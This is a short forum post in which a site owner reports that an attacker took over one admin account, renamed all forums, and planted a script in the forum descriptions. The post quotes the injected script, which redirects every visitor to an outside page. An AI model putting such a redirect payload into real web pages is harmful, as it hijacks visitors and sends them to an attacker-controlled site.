Our site has been hacked -please help us urgently

[shahin531]

Hi all.
Please advise me about this problem.
Our website has been hacked.
Our site has two admin account, and the hacker reset one of account and hack our site . then we restore the site by another admin account .
Any way I don’t know what happening when I go to the cpanel for editing the forums, I saw all of the forums name is the same as hacker name!!!
Also in the forums description this code is exist “<script>location.href="http://kamy4r.persiangig.com/xmors.htm";</script>”
So when all of the topics and forums redirect to the above link.
Pls note that I totally change (new) the following files and I sure that these files don’t have any problem:
config.php
index.php
.htaccess

Please help us , what should we do .

Thank you in advance.